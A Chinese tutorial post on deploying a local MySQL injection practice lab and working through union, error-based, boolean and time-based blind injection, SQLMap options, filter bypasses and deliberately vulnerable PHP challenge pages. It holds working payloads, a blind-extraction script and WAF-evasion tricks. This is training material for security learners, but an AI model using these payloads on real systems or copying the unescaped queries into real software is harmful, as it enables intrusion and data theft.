☰
MySQL后台注入靶场实战:环境部署与注入手法详解
2026/10/10 6:36:04 网站建设 项目流程

简介:一份用于MySQL数据库后台注入测试的漏洞网站源码,面向网站安全初学者与渗透测试人员,可快速搭建带注入点的本地测试环境,用于练习后台登录绕过、注入语句构造与漏洞验证。资源包为压缩包格式,共八百四十四个文件,其中包含大量服务端脚本、网页页面、前端交互代码与多种格式图片素材,另附数据库初始化脚本;整包仅四点九五兆,部署轻量。源码自带安装向导与后台管理模块,安装后可按需删除会员目录、重命名后台目录,以便模拟真实站点结构,也方便学习后台功能模块的组合与调整。已有八百二十七人学习下载,适合希望获得可直接运行的漏洞靶场、结合实践理解数据库注入原理的学习者,部署后即可开始测试。练习中可观察请求与响应变化,加深对注入流程的认识。

1. 这个靶场源码到底在练什么:从一条报错语句说起

很多从业者拿到mysql后台注入靶场源码.rar之后的第一反应,是赶紧解压丢进集成环境,然后挂上 SQLMap 开扫。但真正把新手拦住、也把熟手绊倒的,从来不是那几条 payload,而是环境怎么盘活、字符集怎么对齐、回显位置在哪、注释符被过滤之后还能怎么闭合。这个 rar 里的东西,本质上是一套本地化的 MySQL 注入练习环境:它把注入点、数据库表结构、前端回显页面打包在一起,让安全测试新人在不碰任何线上系统的情况下,把联合查询、报错注入、布尔盲注、时间盲注这一整条链路练熟。它适合刚啃完 SQL 基础想上手实操的人,也适合准备安全测试面试的熟手用来复盘思路、验证自己对过滤逻辑的判断。一句话:这不是给你跑 SQLMap 用的玩具,是让你手写 payload 并看懂回显的训练场。

2. 把 .rar 里的源码跑起来:环境选型与最小部署

2.1 解压后先认清目录结构

老式 MySQL 注入靶场源码的目录结构通常不长,解压后一眼能扫完。常见组成是这样:

sqllab/ ├── index.php # 入口页面,接收 id 参数并拼进 SQL ├── config.php # 数据库连接配置 ├── login.php # 后台登录页面,部分靶场用它模拟"后台注入" ├── sql/ │ └── init.sql # 建库建表脚本,初始化数据 └── README.txt # 部署说明

我习惯先打开config.php和init.sql各看一眼,再决定怎么起服务。这一步能避免后面八成以上的环境问题。config.php里要确认三件事:数据库地址是不是127.0.0.1、用户名密码是什么、有没有配置字符集。init.sql决定注入点能查出什么,比如表名是users还是members,字段有几列,都会直接影响你构造union select时的对齐方式。

2.2 用 PHP 内置服务器起服务的最小命令

这类靶场的入口基本是 PHP 文件,数据库用 MySQL 或 MariaDB。部署时不需要上 Nginx、Apache 那套重型组合,本地练习用 PHP 自带的开发服务器就够了。我一般这样起:

# 假设你已经把 rar 解压到 /opt/sqllab cd /opt/sqllab # 用 PHP 内置服务器起一个本地站点,监听 127.0.0.1 的 8080 端口 # 注意:必须带 127.0.0.1,不要写成 php -S 8080,否则默认绑所有网卡 php -S 127.0.0.1:8080 # 如果入口文件不是 index.php,而是 router.php,则指定路由文件 # php -S 127.0.0.1:8080 router.php

这个命令里,127.0.0.1:8080是监听地址和端口,php -S是 PHP 8.x 也仍然保留的内置服务器开关。绑定127.0.0.1是为了让靶场只对本机可见,避免暴露到局域网里被同事扫到当成真实漏洞来报。启动后浏览器打开http://127.0.0.1:8080/index.php?id=1,看到页面正常渲染,说明 PHP 侧已经通了。注意一点:内置服务器是单进程的,调试时如果改了 PHP 代码,需要重启才能生效,这是和 Nginx + PHP-FPM 最大的体验差异。

2.3 初始化数据库:建库脚本和连接配置

靶场代码里一般自带init.sql,在命令行里执行一次就完成建库。我用 MySQL 客户端导入时,习惯先指定默认字符集:

# 登录本地 MySQL,执行初始化脚本 # -uroot 是用户名,-p 后面不带密码则交互式输入 mysql -uroot -p < sql/init.sql

如果init.sql里没有指定字符集,我会手动加一行再导入,避免后面中文数据在页面上变成乱码导致误判。init.sql的内容大致如下:

-- 建库,显式指定 utf8,避免继承 MySQL 默认的 latin1 CREATE DATABASE IF NOT EXISTS sqllab DEFAULT CHARACTER SET utf8; USE sqllab; -- 建一张用户表,字段越少越好,方便练习 union 对齐 CREATE TABLE IF NOT EXISTS users ( id INT NOT NULL AUTO_INCREMENT, username VARCHAR(20) NOT NULL, password VARCHAR(32) NOT NULL, PRIMARY KEY (id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; -- 造几条测试数据,密码用 MD5 模拟真实场景 INSERT INTO users (username, password) VALUES ('admin', MD5('admin123')), ('alice', MD5('passw0rd')), ('bob', MD5('qwer1234'));

导入之后,打开config.php,把连接参数改成你本机的实际值。下面是大多数老靶场都会有的配置结构:

<?php $dbhost = '127.0.0.1'; $dbuser = 'root'; $dbpass = 'your_password'; $dbname = 'sqllab'; $conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); mysqli_set_charset($conn, 'utf8'); // 这一行决定中文能不能正常回显

重点说下mysqli_set_charset:很多老源码用的是 mysql_connect 系列函数,在 PHP 7 之后被移除,直接报 Fatal error。我把代码里的mysql_前缀改成mysqli_是最常见的修复方式。如果你解压出来的源码还在用mysql_query,页面会白屏并提示调用未定义函数,这不是你的环境坏了,是 PHP 版本太新、函数没了。字符集设置同样关键,PHP 和 MySQL 两边都指定 utf8,回显的中文才不乱码,注入判断时才不会因为乱码干扰视觉。

3. 把注入点逐个过一遍:从联合查询到手写盲注脚本

3.1 联合查询注入:先数清列数,再对齐字段

靶场最常见的注入点是index.php?id=1这种数字型参数。第一步永远是用order by数列数,而不是直接盲试union select 1,2,3。原因是union前后字段数不一致时 MySQL 直接报错,页面回显变成错误信息,反而干扰判断。数列数我习惯从 3 开始试,因为简单靶场表字段很少超过 5:

# 先用 order by 判断查询返回多少列 curl "http://127.0.0.1:8080/index.php?id=1 order by 3" # 页面正常,说明至少 3 列 curl "http://127.0.0.1:8080/index.php?id=1 order by 4" # 页面报错,说明当前查询就是 3 列,不需要继续试了

确认列数之后,把id改成不存在的负数,让前半段查询返回空集,再拼union select:

# id=-1 让原查询无结果,后面的 union 结果才能显示到页面上 curl "http://127.0.0.1:8080/index.php?id=-1 union select 1,2,3" # 页面某个位置显示出 "2",说明那个回显位可以放敏感函数

这里id=-1是个小技巧:如果原查询有结果,页面会优先渲染原数据,union select的注入结果被挤到后面甚至看不到。改成负数让前面查不到,注入内容就顺位成为唯一结果。回显位确认后,把数字替换成database()、user()、version()就能拿到库名、账号和版本号:

# 用 2 这个回显位输出当前数据库名 curl "http://127.0.0.1:8080/index.php?id=-1 union select 1,database(),3"

3.2 报错注入:updatexml 与 extractvalue 的用法差异

联合查询能用是最理想的情况,但靶场经常会在第二关、第三关把列数调整到不便于 union,或者把回显位过滤掉。这时报错注入是首选。MYSQL 里updatexml和extractvalue是最常用的两个报错函数,原理一样:第二个参数是 XPath 表达式,传入非法格式时 MySQL 会把参数内容原样带进错误信息里,于是我们就能通过报错把数据"带"出来。

# 用 updatexml 报错带出版本号,0x7e 是波浪号,用来让 XPath 判定非法 curl "http://127.0.0.1:8080/index.php?id=1 and updatexml(1,concat(0x7e,version()),1)" # extractvalue 写法,注意第二个参数直接是 concat 结果 curl "http://127.0.0.1:8080/index.php?id=1 and extractvalue(1,concat(0x7e,database()))"

这两个函数最常见的坑有两个。第一个是输出长度限制,报错信息最多显示 32 个字符左右,查长字段时要用substr截断分段取;第二个是 updatexml 和 extractvalue 在 MySQL 5.7 以上版本依然能用,但如果靶场跑的数据库是 MySQL 8.0,extractvalue的报错行为变了,不再回显内容,此时需要换成updatexml或直接走盲注。我一般先试updatexml,因为它兼容性最好,报错信息里包含的内容也更完整。

3.3 手写布尔盲注脚本:不依赖工具把数据"抠"出来

有些靶场关卡没做报错回显,页面只有"查询成功/失败"两种状态,这就是典型的布尔盲注场景。手工用 curl 一条条试太慢,我习惯写一个短 Python 脚本做半自动提取。核心思路是逐字符判断:ascii(substr(database(),N,1))大于某个值则页面正常,否则页面异常,用二分法把字符抠出来。

import requests url = "http://127.0.0.1:8080/index.php" # cookie 或其它必要请求头如果有就加上 headers = {"User-Agent": "Mozilla/5.0"} def is_true(condition: str) -> bool: # 让原查询结果为空,只剩 and 条件决定页面内容 payload = f"id=1 and ({condition})" r = requests.get(url, params=payload, headers=headers, timeout=10) # 这里的判断标准需要看靶场页面,比如正常时出现 "Hello",异常时出现 "Error" return "Hello" in r.text # 先二分求数据库名长度 length = 0 for l in range(1, 32): if is_true(f"length(database())>{l}"): length = l else: break # 逐字符二分提取库名 dbname = "" for i in range(1, length + 1): low, high = 32, 126 while low < high: mid = (low + high) // 2 cond = f"ascii(substr(database(),{i},1))>{mid}" if is_true(cond): low = mid + 1 else: high = mid dbname += chr(low) print("database:", dbname)

脚本里最关键的是is_true函数里那行"Hello" in r.text。不同靶场回显的标识词差异很大,有的是Success,有的是某个固定用户名。第一次跑脚本之前,先用浏览器手动访问?id=1和?id=1 and 1=2各一次,确认页面差异到底落在哪个字符串上,不然脚本判断条件写错,二分结果全是错的。时间盲注的脚本写法与布尔盲注几乎相同,只是把判断标准从页面内容换成响应时间,比如sleep(1)之后响应是否超过 2 秒。手写一遍这个脚本,比直接跑sqlmap --dump更能帮你理解注入点为什么会存在。

4. 必调参数与请求构造:三组 Payload 和 SQLMap 的调用姿势

4.1 注入判断前必查的一组参数

拿到一个注入点先别急着上 payload,我会先确认四个东西:参数类型是数字型还是字符型、请求方式是 GET 还是 POST、页面有没有开启报错、数据表用的是什么字符集。这四个参数决定了后面 payload 怎么写。数字型参数直接拼数字和运算表达式,字符型参数要多处理一层引号闭合。下面是靶场里最常见的场景对照:

判断项数字型字符型
测试方法?id=1 and 1=1正常,and 1=2异常需先闭合引号,如?id=1' and '1'='1
Payload 特征不需要引号需要处理单引号和注释符
典型注入点?id=?page=后台登录username=admin'

靶场源码里的"后台注入"关卡,通常指的就是login.php里用户名参数拼进 SQL 的字符型注入。这种注入点用 GET 之外的 POST 请求,需要把参数放进请求体而不是 URL。手工测试时我常用curl -d直接发 POST:

# POST 方式测试字符型注入,注意 -d 会把请求变成 application/x-www-form-urlencoded curl -d "username=admin' and '1'='1&password=test" "http://127.0.0.1:8080/login.php" # 如果页面显示登录成功,说明注入点在 username 上

4.2 三组最常用的 Payload 与适用场景

第一组是联合查询,适用条件是页面存在回显位:

order by 3 union select 1,2,3 union select 1,database(),user()

第二组是报错,适用条件是页面开启 MySQL 错误提示,且回显位不存在或不好利用:

and updatexml(1,concat(0x7e,database(),0x7e),1) and extractvalue(1,concat(0x7e,user(),0x7e))

第三组是处理单引号被过滤时用的char()拼接手法。当页面把单引号替换成空字符串或者直接拦截时,用char(39)动态生成引号:

-- 假设 username 参数过滤了单引号,用 char(39) 代替 username=admin' and 1=1 -- 的写法会失败 username=admin char(39) and 1=1 -- 的部分场景可行

这组 payload 最容易翻车的点是注释符。在 URL 里直接提交--时,末尾空格会被浏览器或服务端剥掉,注释符失效,SQL 语句后面多出的内容导致语法错误。我的习惯是用--+或者#,#在 URL 里要编码成%23再提交。另外后端如果用了addslashes、mysqli_real_escape_string这类转义函数,单引号会被加上反斜杠,联合查询和报错注入都会失效,这时要么找数字型参数,要么走宽字节注入:在%27(单引号)前面加%df,让转义反斜杠被前一个字节吃掉。宽字节注入依赖数据库字符集是 GBK 系列,如果靶场用的是 utf8,这条路是走不通的,别在一个方向上死磕。

4.3 用 SQLMap 打本地靶场时别上来就 --batch

SQLMap 打靶场确实快,但它不是万能钥匙。我在本地靶场用 SQLMap 时,一定会先指定--level和--risk,而不是默认值一把梭。默认的 level 1 只测 GET 参数和标准位置的 cookie,很多靶场故意把注入点放在 UA、X-Forwarded-For 这种非标准位置,默认扫不到,结果新手以为靶场没漏洞。正确姿势是明确告诉 SQLMap 注入点在哪:

# 指定 id 参数,level 3 会测到 User-Agent 和 Referer # risk 2 会加入基于时间的攻击载荷 sqlmap -u "http://127.0.0.1:8080/index.php?id=1" \ --level=3 --risk=2 \ --batch \ --dbs

--dbs是只枚举数据库列表,别一上来就--dump把所有数据拉下来,先确认注入类型再决定下一步。还有一个日常容易忽略的参数是--dbms:明确了是 MySQL 靶场就直接指定--dbms=mysql,节省掉 SQLMap 的指纹探测流程,速度能快一倍。如果第一次扫描全绿无结果,八成不是靶场没洞,而是参数位置没覆盖到,把--level拉到 5,再用--forms去测页面上所有表单字段。这里有个血泪经验:本地靶场不值得开--tamper那一堆过 WAF 脚本,纯粹浪费时间,除非你的目标就是练 tamper 脚本编写。

5. 靶场翻车避坑:环境、字符集与 SQL 语句的七个典型问题

5.1 页面中文乱码,注入判断被干扰

现象:页面里原本应该是用户名的位置显示一堆汉å—之类的乱码,导致无法判断回显位对应哪个字段,union select 1,2,3之后甚至看不出数字落在哪个位置。

原因:PHP 源码没有调用mysqli_set_charset,而 MySQL 连接默认字符集是latin1,等于前端用 utf8 显示,后端存的是 latin1 编码,两边错位。这种情况在直接用命令行导入.sql文件时特别容易触发。

解决:在config.php的连接代码后面补一行mysqli_set_charset($conn, 'utf8');。如果改完还乱码,再检查init.sql建表时有没有指定DEFAULT CHARSET=utf8。两者都对齐之后刷新页面,中文就正常了。

5.2 PHP 版本太高,页面直接白屏

现象:打开index.php白屏,命令行执行php -l index.php输出Fatal error: Uncaught Error: Call to undefined function mysql_connect()。

原因:老一代靶场源码大量使用mysql_connect、mysql_query这套函数,它们在 PHP 7.0 被移除。不是你的代码写错了,是这个函数真的不存在了。

解决:全局把mysql_替换成mysqli_,函数参数顺序注意一下,mysqli_connect的参数顺序和mysql_connect一致,但mysql_query和mysqli_query的参数顺序不同,前者是(query, link),后者是(link, query),盲改会报参数错误。改完再逐个页面测。不想改源码的话,装一个 PHP 5.6 的独立环境专门跑老靶场,但我的建议是改成mysqli_,因为后面你自己写注入练习关时也用得上新接口。

5.3 注释符#和--提交后不生效

现象:手工测?id=1' --+页面仍然报语法错误,但 SQLMap 能跑通。新手以为靶场有过滤,实际是提交链路把注释符吃了。

原因:URL 里#是片段标识符,浏览器直接把#后面的内容留在本地不会发给服务器;--末尾空格在部分服务端框架里会被 trim 掉,MySQL 的--注释必须跟一个空白字符,空格没了注释自然失效。

解决:#统一 URL 编码成%23再提交,--写作--+。用 curl 的话直接在 URL 里写%23就行,不用管浏览器行为。这个问题的本质不是防御过滤,而是 HTTP 协议与 MySQL 语法之间的转义误会,背下%23和--+两个写法可以少走很多弯路。

5.4 时间盲注 payload 不生效,睡了两秒还是瞬间返回

现象:?id=1 and sleep(3)响应时间不到 1 秒,但页面上id=1又能正常显示,逻辑上判断应该是时间盲注点。

原因:后端可能对sleep做了函数禁用,常见于把sleep加进了黑名单;也可能整条查询里and前面的条件直接短路了,比如id参数被强转成整数,字符串拼接的注入条件直接被当作0处理。

解决:先用and 1=1和and 1=2确认参数是否真的存在布尔条件差异。如果布尔判断有效,把sleep换成benchmark(5000000, sha1('test'))这类 CPU 密集型表达式,同样能制造时间差,而且不容易被黑名单命中。判断时间盲注不要只依赖sleep一个函数,本地靶场想训练自己就多准备几个时间延迟函数。

5.5 SQLMap 全绿扫不出,但手工明明能注入

现象:手工?id=1 order by 3页面正常、?id=-1 union select 1,2,3有回显,但 SQLMap 默认参数扫完输出[INFO] target URL is not injectable。

原因:绝大多数情况是注入参数不在默认测试位置,或者靶场要求先登录拿 cookie。SQLMap 默认不碰 POST 表单和自定义 header,也不带 cookie 请求。

解决:用--forms自动探测表单,--cookie带上登录态,--level=5覆盖所有 header 位置。命令如下:

sqlmap -u "http://127.0.0.1:8080/index.php" \ --forms \ --cookie="PHPSESSID=你的会话" \ --level=5 \ --risk=3 \ --batch

5.6 宽字节注入试了半天没反应

现象:给%27前面加%df之后,页面还是报错,甚至直接 404,别人的笔记里却写着这个靶场能宽字节注入。

原因:宽字节注入的前提是 PHP 连接 MySQL 时使用了GBK系字符集。现在多数靶场初始化脚本默认utf8,在 utf8 连接下%df%27不会被误认成宽字符,注入自然不成立。网上的笔记如果是几年前写的,当时默认GBK是常态,现在的环境已经变了。这不算坑,是环境差异。

解决:查看config.php里mysqli_set_charset的参数。如果写的是gbk才能用宽字节;如果是utf8,老老实实回联合查询或其他路子。靶场练习的核心是理解字符集如何影响解析,不是每个字符集都要强攻。

5.7 报错回显太长被截断

现象:updatexml能报错,但输出的内容只有一半,数据库名和表名拼在一起时尾部被吞。

原因:MySQL 报错信息的实际输出长度有限制,concat一次拼太多内容必然截断,这是 MySQL 自身行为,不是靶场过滤。

解决:用substr把内容分段取,每次只截十几二十个字符:

and updatexml(1,concat(0x7e,substr((select database()),1,15)),1) and updatexml(1,concat(0x7e,substr((select database()),16,30)),1)

这两个 payload 配合着跑,就能把长字段完整抠出来。踩这个坑的人多半是先吃了联合查询的甜头,以为报错注入也能一次输出全表数据,实际上报错注入本来就是"挤牙膏"式的提取方式,分段是常态不是异常。

6. 把靶场改造成自己的注入题库:加关、加过滤与自动化校验

6.1 给靶场加一个新的注入关卡

老靶场的痛点往往是关卡太少,练几轮就熟了。我会直接在源码里加一个challenge.php,复制index.php的查询逻辑,但故意把参数从id改成cid,同时用 POST 接收,贴近真实后台的传参习惯:

<?php // 这是自己加的新关卡,故意用 POST + 字符型参数 $cid = isset($_POST['cid']) ? $_POST['cid'] : ''; // 注意这里没有加转义,故意留一个字符型注入点 $sql = "SELECT * FROM users WHERE username = '$cid'"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { echo "User exists"; } else { echo "No such user"; } ?>

新关卡的关键不是代码写得多么精巧,而是让注入点特征和旧关卡有足够差异。cid是字符型参数,需要闭合引号;页面不回显数据只有两种状态,必须用盲注;传参方式是 POST,SQLMap 需要加--forms或-d指定参数。这三个差异叠加,就能模拟一个新场景。

6.2 加一层过滤规则,练过 WAF 的绕过思路

很多人在真实授权测试时遇到过滤就懵,原因是靶场太"干净"。我给自己的题库加过滤时,从最简单的黑名单开始:

<?php // 在拼接 SQL 之前过滤常见关键字 $bad = array('union', 'select', 'sleep', 'updatexml', 'extractvalue'); $cid = strtolower($cid); foreach ($bad as $word) { if (strpos($cid, $word) !== false) { die('Detected'); } } // 过滤后仍然直接拼接,留出绕过空间 $sql = "SELECT * FROM users WHERE id = $cid"; ?>

加过滤之后,原本一把梭的 payload 全部失效,这时候要去想大小写混写(UnIoN SeLeCt)能不能过、/**/能不能过、双写(ununionion)能不能过。每种过滤器都有盲区,自己写一遍过滤规则,比背十篇绕过文章更管用。练完黑名单,可以再升级成正则过滤,或者加一个简单的 WAF 层,把union和select用正则替换成空字符串,这时候双写绕过就派上用场了。

6.3 用自动化脚本校验新关卡的可用性

加完关卡和过滤,不能只靠手工点两下就算完,我习惯写一个快速校验脚本,把每个关卡的注入类型跑一遍,确认新关卡没有因为加过滤把自己堵死:

import requests base = "http://127.0.0.1:8080/" def test_union(url): r = requests.get(url, params={"id": "-1 union select 1,2,3"}) return "2" in r.text def test_blind(url): r1 = requests.get(url, params={"id": "1 and 1=1"}) r2 = requests.get(url, params={"id": "1 and 1=2"}) return r1.text != r2.text print("union:", test_union(base + "index.php")) print("blind:", test_blind(base + "index.php"))

脚本只做一件事:断言每个注入点的类型和可用性。如果哪天我想调整过滤规则,跑一遍这个脚本就知道哪些关卡还能用、哪些被误杀了。做靶场改造时给自己留一个自动化回归的工具,后续改配置改过滤都不会心里没底。最后说一个我个人养成的习惯:每次拿到mysql后台注入靶场源码这类资源,第一件事不是开扫,而是把config.php和初始 SQL 脚本通读一遍,搞明白这个靶场的数据结构和注入点特征,再动手测。这个习惯让我在授权测试时少踩了很多"哇这个居然能注入"的坑,因为大部分漏洞早就写在源码里了。希望这篇笔记能帮你把这个靶场真正吃透,也把注入这条路走得更稳。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询